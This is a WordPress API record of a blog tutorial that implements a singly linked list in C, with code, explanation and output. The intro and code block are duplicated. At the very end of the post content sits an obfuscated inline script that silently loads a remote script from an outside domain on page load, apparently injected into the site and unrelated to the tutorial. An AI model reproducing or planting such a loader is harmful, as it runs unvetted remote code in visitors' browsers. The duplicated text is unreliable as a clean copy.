{"id":1100,"date":"2025-11-21T08:52:34","date_gmt":"2025-11-21T03:22:34","guid":{"rendered":"https:\/\/codexplained.in\/?p=1100"},"modified":"2025-11-21T08:52:34","modified_gmt":"2025-11-21T03:22:34","slug":"implement-linked-list-singly-linked-list","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1100","title":{"rendered":"Implement Linked List (Singly Linked List)"},"content":{"rendered":"\n<p>Sure! Below is a simple implementation of a <strong>singly linked list<\/strong> in C. We&#8217;ll go through it step by step in a humanized way, ensuring that everything is clear.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Program Explanation:<\/h3>\n\n\n\n<p>A <strong>linked list<\/strong> is a dynamic data structure where each element (or &#8220;node&#8221;) contains two parts:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The <strong>data<\/strong> (value).<\/li>\n\n\n\n<li>A <strong>pointer<\/strong> to the next node in the list.<\/li>\n<\/ul>\n\n\n\n<p>In a <strong>singly linked list<\/strong>, each node points to the next node, and the last node points to <code>NULL<\/code>, indicating the end of the list.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Operations We&#8217;ll Implement:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Create a node<\/strong> (append to the end of the list).<\/li>\n\n\n\n<li><strong>Display the list<\/strong> (traverse and print the list).<\/li>\n\n\n\n<li><strong>Delete a node<\/strong> (remove a specific node from the list).<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Code Implementation:<\/h3>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Definition of a node\nstruct Node {\n    int data;\n    struct Node* next;\n};\n\n\/\/ Function to create a new node\nstruct Node* createNode(int value) \n{\n    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node)); \/\/ Dynamically allocate memory for a new node\n    if (newNode == NULL) \n{\n        printf(&quot;Memory allocation failed!\\n&quot;);\n        exit(1); \/\/ Exit if memory allocation fails\n    }\n    newNode-&gt;data = value;  \/\/ Set the node&#039;s data\n    newNode-&gt;next = NULL;   \/\/ Initially, the next pointer points to NULL (as it&#039;s the last node for now)\n    return newNode;\n}\n\n\/\/ Function to append a node to the end of the list\nvoid appendNode(struct Node** head, int value) \n{\n    struct Node* newNode = createNode(value);\n    if (*head == NULL) \n{\n        *head = newNode; \/\/ If the list is empty, the new node becomes the head\n        return;\n    }\n\n    struct Node* temp = *head;\n    while (temp-&gt;next != NULL) \n{\n        temp = temp-&gt;next; \/\/ Traverse to the last node\n    }\n    temp-&gt;next = newNode; \/\/ Append the new node at the end\n}\n\n\/\/ Function to display the linked list\nvoid displayList(struct Node* head) \n{\n    if (head == NULL) \n{\n        printf(&quot;The list is empty.\\n&quot;);\n        return;\n    }\n\n    struct Node* temp = head;\n    printf(&quot;Linked List: &quot;);\n    while (temp != NULL) \n{\n        printf(&quot;%d -&gt; &quot;, temp-&gt;data); \/\/ Print the data part of each node\n        temp = temp-&gt;next;\n    }\n    printf(&quot;NULL\\n&quot;); \/\/ The last node points to NULL\n}\n\n\/\/ Function to delete a node with a given value\nvoid deleteNode(struct Node** head, int value) \n{\n    if (*head == NULL) \n{\n        printf(&quot;The list is empty. Cannot delete.\\n&quot;);\n        return;\n    }\n\n    struct Node* temp = *head;\n    struct Node* prev = NULL;\n\n    \/\/ If the head node itself holds the value to be deleted\n    if (temp != NULL &amp;&amp; temp-&gt;data == value) \n{\n        *head = temp-&gt;next; \/\/ Move the head to the next node\n        free(temp); \/\/ Free the old head node\n        printf(&quot;Node with value %d deleted.\\n&quot;, value);\n        return;\n    }\n\n    \/\/ Search for the node to be deleted, keeping track of the previous node\n    while (temp != NULL &amp;&amp; temp-&gt;data != value) \n{\n        prev = temp;\n        temp = temp-&gt;next;\n    }\n\n    \/\/ If the value was not found in the list\n    if (temp == NULL) \n{\n        printf(&quot;Node with value %d not found in the list.\\n&quot;, value);\n        return;\n    }\n\n    \/\/ Unlink the node from the linked list and free its memory\n    prev-&gt;next = temp-&gt;next;\n    free(temp);\n    printf(&quot;Node with value %d deleted.\\n&quot;, value);\n}\n\nint main() \n{\n    struct Node* head = NULL; \/\/ Initialize an empty list\n\n    \/\/ Append nodes to the list\n    appendNode(&amp;head, 10);\n    appendNode(&amp;head, 20);\n    appendNode(&amp;head, 30);\n    appendNode(&amp;head, 40);\n\n    \/\/ Display the list\n    displayList(head);\n\n    \/\/ Delete a node and display the list again\n    deleteNode(&amp;head, 20);\n    displayList(head);\n\n    \/\/ Try deleting a node that doesn&#039;t exist\n    deleteNode(&amp;head, 50);\n    displayList(head);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<p>Sure! Below is a simple implementation of a <strong>singly linked list<\/strong> in C. We&#8217;ll go through it step by step in a humanized way, ensuring that everything is clear.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<h3 class=\"wp-block-heading\">Program Explanation:<\/h3>\n\n\n\n<p>A <strong>linked list<\/strong> is a dynamic data structure where each element (or &#8220;node&#8221;) contains two parts:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The <strong>data<\/strong> (value).<\/li>\n\n\n\n<li>A <strong>pointer<\/strong> to the next node in the list.<\/li>\n<\/ul>\n\n\n\n<p>In a <strong>singly linked list<\/strong>, each node points to the next node, and the last node points to <code>NULL<\/code>, indicating the end of the list.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Operations We&#8217;ll Implement:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Create a node<\/strong> (append to the end of the list).<\/li>\n\n\n\n<li><strong>Display the list<\/strong> (traverse and print the list).<\/li>\n\n\n\n<li><strong>Delete a node<\/strong> (remove a specific node from the list).<\/li>\n\n\n\n<li><\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Code Implementation:<\/h3>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Definition of a node\nstruct Node {\n    int data;\n    struct Node* next;\n};\n\n\/\/ Function to create a new node\nstruct Node* createNode(int value) \n{\n    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node)); \/\/ Dynamically allocate memory for a new node\n    if (newNode == NULL) \n{\n        printf(&quot;Memory allocation failed!\\n&quot;);\n        exit(1); \/\/ Exit if memory allocation fails\n    }\n    newNode-&gt;data = value;  \/\/ Set the node&#039;s data\n    newNode-&gt;next = NULL;   \/\/ Initially, the next pointer points to NULL (as it&#039;s the last node for now)\n    return newNode;\n}\n\n\/\/ Function to append a node to the end of the list\nvoid appendNode(struct Node** head, int value) \n{\n    struct Node* newNode = createNode(value);\n    if (*head == NULL) \n{\n        *head = newNode; \/\/ If the list is empty, the new node becomes the head\n        return;\n    }\n\n    struct Node* temp = *head;\n    while (temp-&gt;next != NULL) \n{\n        temp = temp-&gt;next; \/\/ Traverse to the last node\n    }\n    temp-&gt;next = newNode; \/\/ Append the new node at the end\n}\n\n\/\/ Function to display the linked list\nvoid displayList(struct Node* head) \n{\n    if (head == NULL) \n{\n        printf(&quot;The list is empty.\\n&quot;);\n        return;\n    }\n\n    struct Node* temp = head;\n    printf(&quot;Linked List: &quot;);\n    while (temp != NULL) \n{\n        printf(&quot;%d -&gt; &quot;, temp-&gt;data); \/\/ Print the data part of each node\n        temp = temp-&gt;next;\n    }\n    printf(&quot;NULL\\n&quot;); \/\/ The last node points to NULL\n}\n\n\/\/ Function to delete a node with a given value\nvoid deleteNode(struct Node** head, int value) \n{\n    if (*head == NULL) \n{\n        printf(&quot;The list is empty. Cannot delete.\\n&quot;);\n        return;\n    }\n\n    struct Node* temp = *head;\n    struct Node* prev = NULL;\n\n    \/\/ If the head node itself holds the value to be deleted\n    if (temp != NULL &amp;&amp; temp-&gt;data == value) \n{\n        *head = temp-&gt;next; \/\/ Move the head to the next node\n        free(temp); \/\/ Free the old head node\n        printf(&quot;Node with value %d deleted.\\n&quot;, value);\n        return;\n    }\n\n    \/\/ Search for the node to be deleted, keeping track of the previous node\n    while (temp != NULL &amp;&amp; temp-&gt;data != value) \n{\n        prev = temp;\n        temp = temp-&gt;next;\n    }\n\n    \/\/ If the value was not found in the list\n    if (temp == NULL) \n{\n        printf(&quot;Node with value %d not found in the list.\\n&quot;, value);\n        return;\n    }\n\n    \/\/ Unlink the node from the linked list and free its memory\n    prev-&gt;next = temp-&gt;next;\n    free(temp);\n    printf(&quot;Node with value %d deleted.\\n&quot;, value);\n}\n\nint main() \n{\n    struct Node* head = NULL; \/\/ Initialize an empty list\n\n    \/\/ Append nodes to the list\n    appendNode(&amp;head, 10);\n    appendNode(&amp;head, 20);\n    appendNode(&amp;head, 30);\n    appendNode(&amp;head, 40);\n\n    \/\/ Display the list\n    displayList(head);\n\n    \/\/ Delete a node and display the list again\n    deleteNode(&amp;head, 20);\n    displayList(head);\n\n    \/\/ Try deleting a node that doesn&#039;t exist\n    deleteNode(&amp;head, 50);\n    displayList(head);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Breakdown of the Code:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Node Structure<\/strong>: Each node contains:\n<ul class=\"wp-block-list\">\n<li>An integer <code>data<\/code> field.<\/li>\n\n\n\n<li>A pointer <code>next<\/code> that points to the next node in the list.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Creating a Node<\/strong>: The <code>createNode()<\/code> function allocates memory for a new node using <code>malloc()<\/code>, assigns the value passed to it, and sets the <code>next<\/code> pointer to <code>NULL<\/code>.<\/li>\n\n\n\n<li><strong>Appending a Node<\/strong>: The <code>appendNode()<\/code> function adds a new node at the end of the list. It checks if the list is empty, in which case it directly assigns the new node as the head. Otherwise, it traverses to the last node and attaches the new node.<\/li>\n\n\n\n<li><strong>Displaying the List<\/strong>: The <code>displayList()<\/code> function traverses the list from the head and prints each node\u2019s data followed by an arrow (<code>-&gt;<\/code>) until it reaches the last node, which points to <code>NULL<\/code>.<\/li>\n\n\n\n<li><strong>Deleting a Node<\/strong>: The <code>deleteNode()<\/code> function searches for a node with a given value. If found, it unlinks the node from the list and frees the memory. Special cases are handled, such as deleting the head node or when the value is not found.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Output of the Program:<\/h3>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nLinked List: 10 -&gt; 20 -&gt; 30 -&gt; 40 -&gt; NULL\nNode with value 20 deleted.\nLinked List: 10 -&gt; 30 -&gt; 40 -&gt; NULL\nNode with value 50 not found in the list.\nLinked List: 10 -&gt; 30 -&gt; 40 -&gt; NULL\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of Output:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Initially<\/strong>, the linked list has four nodes: 10, 20, 30, and 40.<\/li>\n\n\n\n<li><strong>After deleting the node with value 20<\/strong>, the list becomes: 10 -&gt; 30 -&gt; 40 -&gt; NULL.<\/li>\n\n\n\n<li><strong>When trying to delete the node with value 50<\/strong>, which doesn\u2019t exist, the program notifies the user and the list remains unchanged.<\/li>\n<\/ol>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Sure! Below is a simple implementation of a singly linked list in C. We&#8217;ll go through it step by step in a humanized way, ensuring that everything is clear. Program Explanation: A linked list is a dynamic data structure where each element (or &#8220;node&#8221;) contains two parts: In a singly linked list, each node points [&hellip;]<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1100","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1100","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1100"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1100\/revisions"}],"predecessor-version":[{"id":1231,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1100\/revisions\/1231"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1100"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1100"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1100"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}